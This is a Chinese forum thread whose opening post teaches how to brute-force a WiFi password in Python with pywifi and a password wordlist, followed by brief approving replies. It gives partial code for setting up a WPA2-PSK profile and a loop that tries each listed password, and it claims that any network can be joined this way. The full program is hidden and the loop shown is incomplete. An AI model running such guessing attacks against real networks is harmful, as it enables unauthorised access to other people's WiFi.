Plastikovy_vaOa 发表于 2024-1-15 19:58:22

Python密码本如何本地破解连接wifi?

有时候我们会忘记自己的Wi-Fi密码,或者需要连接某个Wi-Fi网络以满足合法需求。本文将介绍如何使用Python编程语言编写一个简单的连接Wi-Fi的程序。

在进行wifi猜测时,其实就是列出各种可能的密码,用来尝试去访问目标wifi,直到找出正确的密码为止,是密码破解的一种方案。怎么有效去猜测wifi密码呢,或者说日常中你使用的密码为什么会被别人猜到,这就涉及到社会工程学,比如习惯使用“123456”、“8888888”等弱口令,使用手机号、生日、家庭住址相关联作为密码,那么就很容易被猜到,这里不过多介绍,理论上任何密码都可以用这种方法来猜测连接,不过越复杂的密码破解耗时也越长。

python环境安装

访问Python官网,点击downloads按钮,在下拉框中选择系统类型,选择下载最新版本的Python,没有版本要求的话,尽量使用最新版本前几个版本,避免新版本的不稳定。双击下载好的Python安装包,勾选左下角"Add Python 3.7 to PATH"选项,然后选择"Install now"立刻安装Python,默认安装或自定义安装。打开命令窗口,使用“python --version”查验环境是否安装成功。
下载安装pywifi库

pip install pywifi以下对整个连接程序主要部分进行讲解,最后提供完整的连接程序,可以使用自己的wifi网络进行连接尝试,密码本先填写几个错误密码,最后再写入正确密码,试验是否成功连接wifi,只要密码本够全,理论上可以连接所有wifi。注意一行表示一个可能性密码。
创建一个无线对象,获取无线网卡

<p>#抓取网卡接口</p><p>wifi=pywifi.PyWiFi()</p><p>#获取第一个无线网卡</p><p>ifaces=wifi.interfaces()</p>
创建WiFi连接文件
创建WiFi连接文件,选择要连接WiFi的名称,然后检查WiFi的开发状态,查看wifi的加密算法,一般wifi加密算法为WPA2 PSK,检查加密单元。
#创建WiFi连接文件
profile=pywifi.Profile()
#要连接WiFi的名称
profile.ssid="WiFi名称"
#网卡的开放状态
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法,一般wifi加密算法为wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密单元
profile.cipher=const.CIPHER_TYPE_CCMP 尝试连接wifi
密码本采用只读的方式,一行一行读取,后续用于尝试连接wifi。
#读取密码本
def readPassword():
    print("开始破解:")
    #密码本路径
    path="wifi_pass.txt"
    #打开文件
    file=open(path,"r")
    while True:
      try:
            #一行一行读取
            pad=file.readline()
            #尝试连接wifi
            bool = wifiConnect(pad)
            if not pad:
                break
            if bool:
                print("密码已破解: ",pad)
                print("WiFi已自动连接!!!")
                break
            else:
                #跳出当前循环,进行下一次循环
                print("密码破解中....密码校对: ",pad)
      except:
            continue  完整程序代码
**** Hidden Message *****



唉唉唉 发表于 2024-1-15 23:05:23

多上传一点源码

asd26297 发表于 2024-1-16 02:12:24

人设人阿松大

无痕 发表于 2024-1-16 05:19:25

支持,赞

csw96781 发表于 2024-1-16 08:26:26

学习了,这就去试试

幻之灭 发表于 2024-1-16 11:33:26

这个不错,谢谢共享

白贝勒 发表于 2024-1-16 11:45:34

鉴定完毕是个好资源

80590711 发表于 2024-1-16 11:57:42

阿斯蒂芬撒反对

360403967 发表于 2024-1-16 12:09:50

666学习了!!

q13129841235 发表于 2024-1-16 12:21:58

好像还不错!
页: [1] 2 3 4 5 6
查看完整版本: Python密码本如何本地破解连接wifi?